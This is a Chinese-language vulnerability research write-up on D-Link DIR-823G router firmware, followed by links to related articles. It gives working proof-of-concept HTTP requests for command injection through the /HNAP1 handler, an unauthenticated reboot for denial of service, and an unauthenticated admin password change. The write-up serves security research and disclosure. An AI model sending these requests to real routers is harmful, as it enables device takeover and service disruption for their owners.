Dlink DIR-823G 漏洞挖掘过程
前言
本文由 本人 首发于 先知安全技术社区: https://xz.aliyun.com/u/5274
初步分析
首先下载固件
https://gitee.com/hac425/blog_data/blob/master/iot/DIR823GA1_FW102B03.bin
用 binwalk 解开固件

发现这是一个 squashfs 文件系统,里面是标准的 linux 目录结构,所以这个固件应该是基于 linux 做的。
首先看看 etc/init.d/rcS , 以确定路由器开启的服务。发现最后会开启一个 goahead 进程

goahead 是一个开源的 web 服务器,用户的定制性非常强。可以通过一些  goahead 的 api定义 url 处理函数和可供 asp 文件中调用的函数,具体可以看看官方的代码示例和网上的一些教程。
这些自定义的函数就很容易会出现问题,这也是我们分析的重点。
模拟运行固件
为了后续的一些分析,我们先让固件运行起来,可以使用
https://github.com/attify/firmware-analysis-toolkit
这个工具其实就是整合了一些其他的开源工具,使得自动化的程度更高,具体看工具的 readme.

运行起来后,首先可以用 nmap 扫一下端口,看看路由器开了哪些端口

可以看到目前就开了 http 服务 和 dns 服务。
下面访问一下路由器的 web 接口

第一次访问路由器的 web 接口,就会要求用户做一些初始化设置,比如设置密码等。
攻击面分析
对于一个路由器,我的主要关注点有
- 后门账户,默认密码
 - 敏感功能未授权访问
 web服务对各种请求的处理逻辑
经过上面简单的分析,发现只有 http 和 dns 服务是暴露在外的。http 服务的第一次访问就会要求输入新密码,所以默认密码的问题也不存在。下面分析 web 服务的处理逻辑。
经过简单的测试发现,web 目录应该是 web_mtn, 目录的结构如下

cgi 程序, 未授权访问
其中 cgi-bin 目录下存放着一些 cgi 文件,这些 cgi 文件没有权限的校验,非授权用户也可以直接访问, 可能会造成比较严重的影响。
/cgi-bin/ExportSettings.sh 导出配置文件(信息泄露)。

/cgi-bin/upload_settings.cgi  导入配置文件(恶意篡改配置)

/cgi-bin/GetDownLoadSyslog.sh 获取到系统的一些启动信息./var/log/messages*

/cgi-bin/upload_firmware.cgi  上传更新固件(恶意修改固件

goahead 中自定义的请求处理函数, 命令注入
goahead 不仅支持 cgi 的方式处理用户请求,同时支持直接在 goahead 函数内部自己定义 url 的处理函数。
比如
websUrlHandlerDefine(T("/goform"), NULL, 0, websFormHandler, 0);
websUrlHandlerDefine(T("/cgi-bin"), NULL, 0, websCgiHandler, 0);
就代表
/goform的请求交给websFormHandler函数处理/cgi-bin的请求交给websCgiHandler函数处理
处理函数的参数列表为
int websCgiHandler(webs_t wp, char_t *urlPrefix, char_t *webDir, int arg,
		char_t *url, char_t *path, char_t* query)
其中 wp 这个参数是一个比较复杂的结构体指针,里面保存了各种用户请求的信息,比如 cookie, 请求的数据等。固件中也对该结构体做了很大的改动。
下面用 ida 打开固件中的 goahead 分析。

可以看到固件应该是被去掉了符号表。此时可以从字符串入手,可以通过 /cgi-bin  或者 /goform 找到定义 url 相应的处理函数的位置, 因为这两个是源码中默认有的。
通过交叉引用,最后找到注册处理函数的位置 0x42424C

可以看到这里注册了很多处理函数,通过 ida 的分析很容易看出 websUrlHandlerDefine 的第一个参数为 url, 第四个参数应该就是相应 url 的处理函数。
使用 burp 抓取登录的数据包,发现是往 /HNAP1  发送数据

下面分析分析  /HNAP1 处理函数的逻辑。 函数位于 0x42383C

这个函数的主要逻辑是从 wp 结构体中取出此次请求需要调用的函数名,然后去全局函数表里面搜索,找到之后在进行处理。
其中函数表位于 0x058C560

函数表的每一项的结构应该是
- 4 字节 函数名的字符串地址
 - 4 字节 函数的地址
 
找到了需要调用的处理函数后,会首先记录 POST 的原始报文(通过运行过程查看日志文件,可以猜测出来)

这里记录日志采取的方式是 首先用 snprintf 生成命令, 然后使用 system 执行。我们可以直接注入 ' 来命令执行
POC:
POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
Content-Length: 53
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Content-Type: text/xml; charset=UTF-8
Accept: */*
SOAPAction: "http://purenetworks.com/HNAP1/Login"
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
'`echo hacked_by_hac425!!!!!!!! > /web_mtn/hack.txt`'
最后会写内容到 /web_mtn/hack.txt, 然后可以通过 web 访问

HNAP1 接口继续分析
接着又接续分析了 /HNAP1  的处理,这个接口通过 soap 实现了 rpc 的功能,其中有的接口没有权限校验,会造成一些严重的问题。
reboot 接口没有校验,可以不断重启 , ddos
POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
Content-Length: 298
Origin: http://192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Content-Type: text/xml; charset=UTF-8
Accept: */*
X-Requested-With: XMLHttpRequest
SOAPAction: "http://purenetworks.com/HNAP1/RunReboot"
Referer: http://192.168.0.1/reboot.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><RunReboot xmlns="http://purenetworks.com/HNAP1/" /></soap:Body></soap:Envelope>

修改密码接口,未授权访问,可修改密码
POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
Content-Length: 402
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Content-Type: text/xml; charset=UTF-8
Accept: */*
X-Requested-With: XMLHttpRequest
SOAPAction: "http://purenetworks.com/HNAP1/SetPasswdSettings"
Referer: http://192.168.0.1/account.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetPasswdSettings xmlns="http://purenetworks.com/HNAP1/"><NewPassword>hackedbyhac425</NewPassword><ChangePassword>true</ChangePassword></SetPasswdSettings></soap:Body></soap:Envelope>
管理员密码会被改成 hackedbyhac425.
Dlink DIR-823G 漏洞挖掘过程的更多相关文章
- D-Link系列路由器漏洞挖掘入门
		
D-Link系列路由器漏洞挖掘入门 前言 前几天去上海参加了geekpwn,看着大神们一个个破解成功各种硬件,我只能在下面喊 6666,特别羡慕那些大神们.所以回来就决定好好研究一下路由器,争取跟上大 ...
 - D-Link系列路由器漏洞挖掘
		
参考 http://www.freebuf.com/articles/terminal/153176.html https://paper.seebug.org/429/ http://www.s3c ...
 - semcms 网站漏洞挖掘过程与安全修复防范
		
emcms是国内第一个开源外贸的网站管理系统,目前大多数的外贸网站都是用的semcms系统,该系统兼容许多浏览器,像IE,google,360极速浏览器都能非常好的兼容,官方semcms有php版本, ...
 - WEB漏洞挖掘技术总结
		
漏洞挖掘技术一直是网络攻击者最感兴趣的问题,漏洞挖掘的范围也在随着技术的提升而有所变化.在前期针对缓冲区溢出.格式化字符串.堆溢出.lib库溢出等技术都是针对ELF文件(Linux可执行文件)或者PE ...
 - 关于PHP代码审计和漏洞挖掘的一点思考
		
这里对PHP的代码审计和漏洞挖掘的思路做一下总结,都是个人观点,有不对的地方请多多指出. PHP的漏洞有很大一部分是来自于程序员本身的经验不足,当然和服务器的配置有关,但那属于系统安全范畴了,我不太懂 ...
 - 小白日记37:kali渗透测试之Web渗透-手动漏洞挖掘(三)-目录遍历、文件包含
		
手动漏洞挖掘 漏洞类型 #Directory traversal 目录遍历[本台机器操作系统上文件进行读取] 使用者可以通过浏览器/URL地址或者参数变量内容,可以读取web根目录[默认为:/var/ ...
 - 小白日记35:kali渗透测试之Web渗透-手动漏洞挖掘(一)-默认安装引发的漏洞
		
手动漏洞挖掘 即扫描后,如何对发现的漏洞告警进行验证. #默认安装 流传linux操作系统比windows系统安全的说法,是因为windows系统默认安装后,会开放很多服务和无用的端口,而且未经过严格 ...
 - 可编程逻辑控制器(PLC)漏洞挖掘思路与验证
		
mailto wangkai0351@gmail.com 随时记录千奇百怪的漏洞挖掘思路,主要针对STEP7 v5+西门子S7-300/400系列PLC,欢迎同行前来交流. 组态信息下载完整性攻击 思 ...
 - [网站安全] [实战分享]WEB漏洞挖掘的一些经验分享
		
WEB漏洞有很多种,比如SQL注入,比如XSS,比如文件包含,比如越权访问查看,比如目录遍历等等等等,漏洞带来的危害有很多,信息泄露,文件上传到GETSHELL,一直到内网渗透,这里我想分享的最主要的 ...
 
随机推荐
- 如何正确的加载和执行 JavaScript 代码
			
无论当前 JavaScript 代码是内嵌还是在外链文件中,页面的下载和渲染都必须停下来等待脚本执行完成.JavaScript 执行过程耗时越久,浏览器等待响应用户输入的时间就越长.浏览器在下载和执行 ...
 - javascript数据结构与算法--二叉树遍历(先序)
			
javascript数据结构与算法--二叉树遍历(先序) 先序遍历先访问根节点, 然后以同样方式访问左子树和右子树 代码如下: /* *二叉树中,相对较小的值保存在左节点上,较大的值保存在右节点中 * ...
 - 散列表碰撞处理、开链法、HashTable散列
			
散列表碰撞处理.开链法.HashTable散列 /** * 散列表碰撞处理.开链法.HashTable散列. * 将数组里的元素位置,也设置为数组,当两个数据的散列在同一个位置时, * 就可以放在这个 ...
 - mysql ERROR 1045 (28000): Access denied for user  可能解决方法分析
			
在实际登录redmine的过程中,我们遇到了如下的error ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using ...
 - JVM-Java8的MetaSpace
			
Java 8 彻底将永久代 (PermGen) 移除出了 HotSpot JVM,将其原有的数据迁移至 Java Heap 或 Metaspace 为什么取消了永久代而用MetaSpace代替了永久代 ...
 - wordpress 固定链接  404错误
			
一开始我是用本机服务器做测试,写文章,发现固定链接模式在非默认情况下,都是404错误页面,具体如下: 方法一,.htaccess要开放写权限,这样在自定义wp的永久链接时,wp会自动重写.htacce ...
 - 纯C++安卓开发 (ndk)系列之 ---- 常见问题
			
常见问题1:run as Android Application运行时提示无法识别到模拟器 解决步骤如下: (1)首先查看安卓模拟器是否已经打开 (2)如果安卓模拟器已经打开,则操作步骤为:点击Ecl ...
 - sass中@的作用
			
总结一下sass中用到@的地方. 1.继承@extend SASS允许一个选择器,继承另一个选择器.比如,现有class1: .class1 { border: 1px solid #ddd; } c ...
 - 自己动手实现一个WEB服务器
			
自己动手实现一个 Web Server 项目背景 最近在重温WEB服务器的相关机制和原理,为了方便记忆和理解,就尝试自己用Java写一个简化的WEB SERVER的实现,功能简单,简化了常规服务器的大 ...
 - Python2.x 中文乱码问题
			
Python 文件中如果未指定编码,在执行过程会出现报错: #!/usr/bin/pythonprint "你好,世界"; 以上程序执行输出结果为: File "test ...